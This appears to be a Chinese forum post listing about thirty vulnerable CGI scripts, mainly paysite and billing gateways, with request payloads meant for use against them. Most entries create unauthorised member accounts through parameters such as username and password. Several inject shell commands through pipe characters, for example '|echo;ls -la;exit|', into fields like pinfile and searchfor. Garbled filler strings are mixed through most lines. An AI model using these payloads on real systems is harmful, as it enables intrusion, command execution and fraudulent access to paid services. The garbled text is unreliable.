Cgi-bin 30个漏洞＋使用方法

admin

==============================
6 A5 w3 J2 B9 y5 i7 P' j/ F; _4 D
/smspass.pl
username=username&password=password

/index.cgi
$ Z; P1 E' V" y1 X0 W7 f5 _wei=ren&gen=command
. d8 j( u1 v- |/ Z9 b. }* n
/passmaster.cgi
Action=Add&Username=Username&Password=Password

) @& z4 `  d7 b' H) j7 D) \/accountcreate.cgi
' s) n4 I2 Z/ D. lusername=username&password=password&ref1=|echo;ls|

& F+ @5 E/ q7 |% f/form.cgi
, \2 @. w( V. c/ m2 [! vname=xxxx&email=email&subject=xxxx&response=|echo;ls|

+ v. ^" V. ~/ q/ w2 R4 }/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
1 }5 i. V, q3 O: L( ]( \( ]user=username&pass=Password&confirm=Password
! j3 @; }) S; }9 v; }) v6 ]
# {" S( b1 v( `: G6 E5 M* R! u/ccbill-local.asp
post_values=username:password
# n5 y( O& @# I
9 X; f' ]% E4 q1 W/count.cgi
6 U8 C) j+ o/ i. o8 Z5 @pinfile=|echo;ls -la;exit|

/recon.cgi
3 N: y/ a4 X& h/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

) B$ |7 j" G( t; Q- f" Z, E% v$ T/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

8 j. j; F3 q) q2 Y$ V9 q  D/af.cgi
_browser_out=|echo;ls -la;exit;|
  W. Y) @8 ]3 ~( q5 w$ x1 k
/ ?/ f" w& E( D! W3 z" f$ h1 S/modify.cgi
username=username&password=password&expire=30

/openjournal.cgi
3 O5 b& D' ~9 R" g4 [( gedit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
2 o  ]7 p$ D7 S, {( k; v/ C+ ^, Scmd=ADD&user=username&pass=password

' |( L4 B3 a5 B* }( f/probecontrol.cgi
  o- j% G4 d% v) g0 D- Jcommand=enable&username=username&password=password

1 ^; D1 t/ |' p( {/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
* z) q5 |7 U6 @4 ?- @configfile=|echo; ls -alt; exit
% g6 U1 }- ]1 g
/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/ibill*.pl
( L# J- a5 |, A; V3 [reqtype=add&authpwd=authpwd&username=username&password=password
) X! o. O7 V( U
9 {3 J3 d- \1 i# ^* T8 h2 B/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

5 n& J' k! F  m2 |2 z' {8 d/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
& R3 j7 D; v3 r  F0 ]user=USER&pass=PASS&confirm=PASS
! z" j7 |! n: V0 R: q
; c6 X3 k7 F/ P1 }) {, E/pincount.cgi
! ]% v5 L4 d# J' P/cgi-bin/mastergate/pincount.cgi
# @) D4 p% ~9 L7 k4 n( l5 z" spinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
/env.cgi
ADD+;echo;pwd;exit
9 z( V7 S  t  h6 n5 \: V8 c7 R
0 |! R/ y3 V# C; k, D9 @/count.cgi
( K$ l- A+ e4 Rpinfile=|echo;pwd;exit|
) x) Q  m% t2 G+ y) J5 ~  g( l% ~
+ ?# ~# M; S$ Y/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30
2 [4 U3 B  x6 P7 c4 h
5 }# Y8 x/ `. O/ j. d& @+ C==============================
6 _4 K, I& A$ _1 a5 J5 u# k